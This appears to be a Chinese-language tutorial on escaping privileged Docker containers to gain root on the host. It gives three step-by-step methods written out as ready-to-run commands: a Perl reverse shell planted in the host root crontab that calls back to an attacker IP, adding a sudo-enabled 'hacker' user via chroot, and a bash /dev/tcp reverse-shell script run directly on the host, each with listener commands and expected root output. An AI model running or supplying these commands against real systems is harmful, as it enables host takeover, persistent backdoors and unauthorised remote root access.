特权模式逃逸原理与前提
核心原理
当 Docker 容器以 --privileged
模式启动时,容器内的 root
用户获得与宿主机 root
几乎等同的权限,可直接访问宿主机设备、挂载磁盘分区,绕过 Namespace 和 Cgroup 隔离,实现对宿主机文件系统的完全控制,进而通过多种方式逃逸获取宿主机权限。
前提条件
-
容器以特权模式启动:
docker run --rm --privileged -it [镜像名]
(--privileged
是关键)。 -
宿主机根分区已挂载到容器内路径(如
/host
),可通过mount /dev/sda1 /host
完成挂载(/dev/sda1
为宿主机根分区设备,需通过fdisk -l
确认)。
三种实战逃逸方法详解
方法一:通过定时任务写入 Perl 反向 Shell
操作步骤(容器内执行)
-
写入定时任务:向宿主机
root
用户的定时任务文件添加 Perl 反向 Shell 命令,每分钟执行一次:echo $'*/1 * * * * perl -e \'use Socket;$i="192.168.226.133";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /host/var/spool/cron/crontabs/root
-
修复权限:确保定时任务文件权限为600(
cron
服务要求):chmod 600 /host/var/spool/cron/crontabs/root
-
验证任务写入:检查宿主机定时任务文件内容及权限:
cat /host/var/spool/cron/crontabs/root # 确认命令已写入 ls -l /host/var/spool/cron/crontabs/root # 权限应为 -rw-------
触发与验证(攻击机执行)
在攻击机启动端口监听,等待宿主机定时任务触发连接:
nc -lvvp 1234
-
成功标志:监听端收到来自宿主机的连接,显示
uid=0(root)
信息,可执行hostname
等命令(如返回lang-virtual-machine
)。
方法二:通过 chroot
切换根目录添加 sudo 用户
操作步骤(容器内执行)
-
切换到宿主机根目录:使用
chroot
命令将当前环境切换为宿主机文件系统:chroot /host
-
创建新用户并赋予权限:在宿主机直接创建
hacker
用户,并添加到sudo
组(获得管理员权限):adduser hacker # 按提示设置密码 usermod -aG sudo hacker # 加入 sudo 组
验证(宿主机执行)
-
切换到
hacker
用户:su hacker
(输入密码)。 -
确认权限:执行
id
显示uid=1002(hacker) gid=1002(hacker) 组=1002(hacker),27(sudo)
,表明具备 sudo 权限。 -
测试管理员权限:
sudo passwd root
可成功修改 root 密码,验证逃逸成功。
方法三:直接执行脚本反弹 Shell(立即触发)
操作步骤(容器内执行)
-
创建反弹脚本:在宿主机
/tmp
目录生成可执行的反向 Shell 脚本:echo '#!/bin/bash' > /host/tmp/escape.sh # 脚本声明 echo 'bash -i >& /dev/tcp/192.168.226.133/1234 0>&1' >> /host/tmp/escape.sh # 反向连接命令
-
赋予执行权限:
chmod +x /host/tmp/escape.sh
-
立即执行脚本:调用宿主机
bash
直接运行脚本,无需等待定时任务:/host/bin/bash /host/tmp/escape.sh
触发与验证(攻击机执行)
攻击机启动监听:
nc -lvvp 1234
-
成功标志:立即收到宿主机连接,执行
id
显示uid=0(root)
,直接获取 root 权限。